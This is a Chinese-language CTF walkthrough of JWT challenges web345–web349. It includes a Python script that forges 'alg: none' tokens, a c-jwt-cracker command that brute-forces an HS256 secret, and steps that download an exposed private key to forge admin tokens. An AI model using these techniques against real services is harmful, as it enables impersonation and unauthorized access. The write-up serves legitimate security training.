Skip to main content

jwt

认识JWT

https://www.baobao555.tech/posts/4cc42459/

jwt全称是JSON Web Token,能够看出来重点提现在Token上

jwt本质是一串字符串,将用户信息保存在一个json字符串中,然后进行编码得到jwt token,这个jwt token含有签名信息,在接受时可以效验是否被篡改过。

认证流程:

1.将前端输入的账号密码发送到后端 2.后端核对成功后,将包含用户信息的数据作为JWT的payload,与JWTHeader分别base64编码拼接后签名,形成JWT Token,这个Token就是如同aaa.bbb.ccc的字符串(header、payload与signature) 3.后端将JWT Token作为登录成功结果返回到前端,前端可以将返回结果保存在浏览器中,退出登录时删除JWT Token即可 4.前端在每次请求时将JWT Token放入HTTP Header的Authorization属性中(能够解决XSS和XSRF) 5.后端检查前端传来的JWT Token,验证有效性,如检查是否被篡改、是否过期等 6.通过验证后,后端解析其中的用户信息,返回结果

web345

注释里写了/admin

image-20220119124946770

https://jwt.io/ jwt解码(当然直接base64解码也行)

image-20220119125341921

这里需要sub也为admin,于是把sub那里改成admin再base64编码拼接就可以了,因为只找到一个点,所以没有签名部分

然后第一部分的None要选择一种Algorithm方式

于是就可以得到

image-20220119191147085

eyJhbGciOiJIUzI1NiIsInR5cCI6Imp3dCJ9.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NDI1ODkzNzcsImV4cCI6MTY0MjU5NjU3NywibmJmIjoxNjQyNTg5Mzc3LCJzdWIiOiJhZG1pbiIsImp0aSI6IjlmNzE1MTQzMzVjZWYwMDEzZGI1NjI5NzY1ODVlZDZlIn1d.ekl_GdtUhkyFJlyFsSkM16tF8k6aDxNKeH8XR2nVNF0

发包

image-20220119191204184

在这里一起说,谢谢南神老师。

web346

拿到token,解一下

{
"alg": "HS256",
"typ": "JWT"
}
{
"iss": "admin",
"iat": 1642590769,
"exp": 1642597969,
"nbf": 1642590769,
"sub": "user",
"jti": "35c454cf45802fb46a076d63a6c4a5de"
}

这里考点是JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。 设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站。

但是上面那个网站不支持None,所以这里用python来生成

注意import jwt,这个jwt不是pip install jwt,而是pip install PyJWT

import jwt

# payload注意换成自己的
token_dict = {
"iss": "admin",
"iat": 1642590769,
"exp": 1642597969,
"nbf": 1642590769,
"sub": "admin",
"jti": "35c454cf45802fb46a076d63a6c4a5de"
}

headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict,"",algorithm="none",headers=headers) #payload,秘钥,算法方式,headers

print(jwt_token)

image-20220119192136843

web347

题目说弱口令,这里使用工具https://github.com/brendan-rius/c-jwt-cracker进行爆破,安装方式文档有

image-20220119193238984

这里我从1弄到了6

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0MjU5MTYyMiwiZXhwIjoxNjQyNTk4ODIyLCJuYmYiOjE2NDI1OTE2MjIsInN1YiI6InVzZXIiLCJqdGkiOiJkZjkwZWM3NGY2OTViZWMzMzI4MDM2YTVhODg0YzFlZSJ9.pRmSxMZQ0VCfhuZedwQYnRTpB16Xy0U0xgSrGi3qhS8 0123456789 6 sha256

既然找到了密码,那么就只需要用上面的jwt解码网站解一下然后改一下再encode就可以了

image-20220119193420382

image-20220119193527173

web348

348是纯爆破,那就不指定,直接爆

image-20220119193648025

签名是aaab,操作方法同上

web349

给了个app.js

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});

这里给了public.key和private.key的位置,直接访问下载